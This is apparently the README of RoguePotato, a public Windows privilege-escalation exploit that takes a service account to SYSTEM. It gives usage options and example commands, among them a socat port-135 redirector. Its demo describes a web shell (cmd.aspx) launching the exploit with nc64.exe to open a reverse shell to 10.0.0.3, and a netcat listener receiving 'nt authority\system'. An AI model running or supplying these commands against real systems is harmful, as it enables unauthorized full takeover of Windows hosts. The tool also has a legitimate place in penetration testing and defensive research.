
RoguePotato

Just another Windows Local Privilege Escalation from Service Account to System. Full details at -> <https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/>

Usage

```
1
2     RoguePotato
3     @splinter_code & @decoder_it
4
5
6 Mandatory args:
7 -r remote_ip: ip of the remote machine to use as redirector
8 -e commandline: commandline of the program to launch
9
10
11 Optional args:
12 -l listening_port: This will run the RogueOxidResolver locally on the
    specified port
13 -c {clsid}: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
14 -p pipename_placeholder: placeholder to be used in the pipe name
    creation (default: RoguePotato)
15 -z : this flag will randomize the pipename_placeholder (don't use with
    -p)
16
17
18 Examples:
19 - Network redirector / port forwarder to run on your remote machine,
    must use port 135 as src port
20     socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
21 - RoguePotato without running RogueOxidResolver locally. You should
    run the RogueOxidResolver.exe on your remote machine. Use this if
    you have fw restrictions.
22     RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
23 - RoguePotato all in one with RogueOxidResolver running locally on
    port 9999
24     RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l
    9999
25 - RoguePotato all in one with RogueOxidResolver running locally on
    port 9999 and specific clsid and custom pipename
26     RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l
    9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p
    splintercode
```

Demo

The image shows a Kali Linux desktop environment with two windows. The left window is a web browser displaying a web page titled "10.0.0.6/cmd.aspx". The page has a "Program" field containing the command `c:\windows\system32\cmd.exe` and an "Arguments" field containing the command `/c whoami & C:\everyone\RoguePotato.exe -r 10.0.0.3 -e "C:\everyone\nc64.exe 10.0.0.3 3001 -e cmd.exe" -l 9999`. A "Run" button is visible below the arguments field. The right window is a terminal titled "splintercode@kali: ~". It shows the following commands and output:

```
splintercode@kali:~$ ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.0.3 netmask 255.0.0.0 broadcast 10.255.255.255
    inet6 fe80::83ad:3971:5188:5a23 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:c3:02:2c txqueuelen 1000 (Ethernet)
    RX packets 3775 bytes 592013 (578.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 139537 bytes 10729683 (10.2 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

splintercode@kali:~$ nc -lvp 3001
listening on [any] 3001 ...
connect to [10.0.0.3] from (UNKNOWN) [10.0.0.6] 49725
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\system

c:\windows\system32\inetsrv>

splintercode@kali:~$ sudo socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.6:9999
```

The terminal output shows the successful execution of the RoguePotato exploit, resulting in a SYSTEM token being obtained on the target machine.